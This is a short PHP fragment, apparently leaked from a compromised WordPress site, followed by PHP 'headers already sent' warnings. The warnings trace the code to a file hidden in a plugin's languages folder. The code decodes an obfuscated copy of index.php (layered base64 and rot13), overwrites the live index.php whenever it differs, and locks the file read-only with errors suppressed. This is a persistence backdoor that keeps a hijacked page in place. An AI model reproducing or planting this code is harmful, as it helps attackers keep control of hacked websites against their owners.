$i_p = "index.php";
$index = file_get_contents($i_p);
$path = "{index_hide}";

if (file_exists($path)) {
$index_hide = file_get_contents($path);
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if(md5($index) != md5($index_hide))
{
    @chmod($i_p, 0644);
    @file_put_contents($i_p, $index_hide);
    @chmod($i_p, 0444);
}
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /homepages/16/d416433881/htdocs/wordpress/wp-content/plugins/add-meta-tags/languages/70846:1) in <b>/homepages/16/d416433881/htdocs/wordpress/wp-includes/pluggable.php</b> on line <b>1355</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /homepages/16/d416433881/htdocs/wordpress/wp-content/plugins/add-meta-tags/languages/70846:1) in <b>/homepages/16/d416433881/htdocs/wordpress/wp-includes/pluggable.php</b> on line <b>1358</b><br />